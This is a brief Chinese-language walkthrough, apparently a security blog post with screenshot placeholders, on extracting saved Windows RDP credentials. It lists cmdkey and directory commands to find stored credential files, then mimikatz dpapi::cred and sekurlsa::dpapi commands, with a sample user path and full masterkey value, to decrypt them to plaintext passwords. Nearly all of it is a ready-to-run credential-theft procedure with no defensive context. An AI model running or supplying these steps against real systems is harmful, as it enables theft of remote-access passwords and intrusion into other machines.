1.查询本地保存的RDP凭证

cmdkey /l

TERMSRV.png

2.获取RDP本地保存凭证的文件

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

getfile.png

3.查询指定凭证文件对应的guidMasterKey

mimikatz# dpapi::cred /in:C:\Users\hanmengzi\AppData\Local\Microsoft\Credentials\4271BC8446A2B6987B1B22E9CE849985

图片.png

3.查询GUID对应的masterkey

mimikatz # sekurlsa::dpapi

masterkey.png

4.使用masterkey进行解密RDP

dpapi::cred /in:C:\Users\hanmengzi\AppData\Local\Microsoft\Credentials\4271BC8446A2B6987B1B22E9CE849985 /masterkey:6858b78c7b20bf4678f3f1240abe825d65db127fbfbcb7c4b81919ef06eb722ecac7c1bc1b7868a4b714696914c4d6d3f41f20db1c18571ec4080610e2c15382

获取明文密码.png